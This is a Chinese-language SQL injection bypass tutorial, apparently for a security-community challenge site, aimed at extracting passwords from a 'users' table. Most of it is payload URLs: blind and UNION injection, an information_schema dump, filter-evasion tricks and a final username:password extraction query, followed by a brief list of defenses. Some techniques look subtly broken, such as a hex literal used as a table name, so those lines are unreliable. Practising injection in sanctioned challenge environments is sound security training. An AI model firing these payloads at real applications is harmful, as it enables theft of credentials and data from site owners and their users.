先知3月挑战项目,等你来战~
字数 655 2025-08-29 08:31:47
SQL注入绕过技术实战教学
环境准备
挑战环境:
- 绑定host:
120.55.233.202 test1.aliyundemo.com - 注入点URL:
http://test1.aliyundemo.com/sqli1/index.php?id=1 - 目标:读取
users表内的用户密码
基础注入测试
首先进行基础的SQL注入测试,判断注入点是否存在:
http://test1.aliyundemo.com/sqli1/index.php?id=1'
观察页面返回,如果出现SQL错误,则可能存在SQL注入漏洞。
注释符绕过
尝试使用不同的注释符来绕过过滤:
-
常规注释:
http://test1.aliyundemo.com/sqli1/index.php?id=1' -- http://test1.aliyundemo.com/sqli1/index.php?id=1' # -
内联注释:
http://test1.aliyundemo.com/sqli1/index.php?id=1' /*!and*/ 1=1 --
布尔盲注技术
如果页面没有直接显示数据但会根据条件返回不同内容,可以使用布尔盲注:
http://test1.aliyundemo.com/sqli1/index.php?id=1' and substring(database(),1,1)='t' --
逐步猜测数据库名、表名和字段名。
时间盲注技术
当布尔盲注不可行时,尝试时间盲注:
http://test1.aliyundemo.com/sqli1/index.php?id=1' and if(1=1,sleep(5),0) --
联合查询注入
尝试联合查询获取数据:
http://test1.aliyundemo.com/sqli1/index.php?id=1' union select 1,2,3 --
确定显示位后,替换为实际查询:
http://test1.aliyundemo.com/sqli1/index.php?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
绕过过滤的特殊技巧
-
大小写混合:
http://test1.aliyundemo.com/sqli1/index.php?id=1' UnIoN SeLeCt 1,2,3 -- -
双重编码:
http://test1.aliyundemo.com/sqli1/index.php?id=1%2527%2520union%2520select%25201,2,3%2520--%2520 -
空白符替换:
http://test1.aliyundemo.com/sqli1/index.php?id=1'%0Aunion%0Aselect%0A1,2,3%0A--%0A -
字符串拼接:
http://test1.aliyundemo.com/sqli1/index.php?id=1' and substring(@@version,1,1)=concat('5') --
获取users表密码
假设我们已经确定存在users表,包含username和password字段:
http://test1.aliyundemo.com/sqli1/index.php?id=1' union select 1,group_concat(username,0x3a,password),3 from users --
其他高级绕过技术
-
使用十六进制编码:
http://test1.aliyundemo.com/sqli1/index.php?id=1' union select 1,2,3 from 0x7573657273 -- -
使用变量替换:
http://test1.aliyundemo.com/sqli1/index.php?id=1' and @a:=1 union select @a,@a,@a from users -- -
使用注释分割关键字:
http://test1.aliyundemo.com/sqli1/index.php?id=1' uni/*xyz*/on sel/*xyz*/ect 1,2,3 --
防御措施建议
- 使用参数化查询
- 实施最小权限原则
- 对输入进行严格过滤和验证
- 使用Web应用防火墙(WAF)
- 定期进行安全审计和渗透测试
总结
本教学详细介绍了针对test1.aliyundemo.com的SQL注入绕过技术,从基础测试到高级绕过方法。实际渗透测试中应根据目标的具体防御措施灵活组合使用这些技术。